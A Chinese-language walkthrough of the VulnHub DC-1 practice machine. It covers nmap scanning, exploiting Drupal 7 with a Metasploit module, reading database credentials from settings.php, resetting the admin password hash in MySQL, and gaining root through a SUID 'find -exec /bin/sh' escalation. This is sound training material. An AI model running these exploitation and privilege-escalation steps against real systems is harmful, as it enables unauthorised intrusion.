一、环境搭建:
1. 靶机描述
DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。
根据描述信息我们可以知道本靶场环境总共有5个flag。
- 下载靶场环境
靶场下载地址:https://www.vulnhub.com/entry/dc-1,292/
- 渗透靶场
- 打开虚拟机更改网络连接模式为NAT 让DC-1虚拟机跟kali虚拟机在同一网段 这样才能扫出DC-1的主机
2.在kali虚拟机中进去root模式下 进入命令窗输入ifconfig查看kali的ip地址
3.寻找靶机真实的IP 使用nmap -sp 加查出来的IP地址/24(nmap -sp XXX.XXX.XXX.XXX/24)
4.探端口及服务输入nmap -A -p- -v 加上回显出来的端口号 (这里我们需要测试正确的IP号)这里我正确的是192.168.28.129
-A 综合性扫描
-v 冗余模式 能扫描出过程中的详细信息
发现开放了22算口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
接着访问wed站点 在kali火狐中的url里面输入自己正确的IP信息
5.发现此wed运行的是Drupal 7的CMS 回到kali虚拟机输入searchsploit drupal 7
我们一般都从CMS出发去找漏洞,可以去百度上查一下drupal 7相关的漏洞
利用MSF渗透
典型的drupal,启动Metersploit MSF存在drupal模块,尝试使用msf渗透
1.MSF简单命令介绍
msfconsole 进入MSF控制台
search 搜索相应模块
use 对应模块
show options 查看信息
set RHOST 远程主机ip
run 攻击
接着用输入命令Msfconsole 进入MSF控制台找一下漏洞
接着搜索drupal模块
进入MSF控制台msfdb run
搜索drupal模块后输入search drupal
6.可以看出漏洞很多 我们就用2018那个漏洞来测试 接着输入命令use 1
7.设置靶机IP运行msf 输入set rhosts 加上IP号
(我是set rhosts 192.168.28.129)接着在输入run
获取一下普通的shell 在执行whoami
发现是www-date权限
进入home目录 输入cd /home 发现flag4.txt文件 提示需要提升权限
8.使用python反弹一个交互式shell
输入python -c "import pty;pty.spawn('/bin/bash')"
9.显示一个路径 这里只是shsell权限的普通权限还不是root 只能看看文件 输入cd /var/www 发现flag1.txt
在接着输入cat flag1.txt
10.进入到shell中发现了当前所在路径是/var/www
Drupal的默认配置文件为
/var/www/sites/default/settings.php
查看文件内容
输入cat /var/www/sites/default/settings.php
发现了flag2和数据库的账号密码flag2提示,提升权限为root来查看敏感文件
进入数据库查看
'username' => 'dbuser',
'password' => 'R0ck3t',
输入mysql -udbuser -pR0ck3t
查看数据库,切换到drupaldb数据库
输入show databases;
use drupaldb
Show tables;
查看查找默认的Drupal user 表
输入select * from users;
发现admin信息
出现了账号用户看不懂 需要我们置换一下drupal密码
输入Quit; 退出进入www目录下 输入php scripts/password-hash.sh 新密码
在进入数据库中把密码字段进行替换
进入mysql,输入密码,切换到drupaldb数据库 输入mysql -u dbuser -pR0ck3t在接着输入use drupaldb
将pass字段进行替换 输入update users set pass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin"
11.访问站点登录 密码是我们刚才替换掉的 账号是admin
成功登录
12.在输入一下Quit; 退出进入www目录下 使用命令查看 suid 权限的可执行二进制程序
输入find / -perm -4000 2>/dev/null
发现find命令
接着我们在使用命令测试 可以发现为root权限
输入touch 123
ls
find / -name 123 -exec "whoami" \;
13.最后就是发现flag文件
输入find ./ -name 123 -exec "/bin/sh" \;
whoami
ls
cd /root
ls
在输入cat thefinalflag.txt查看文件
实验完成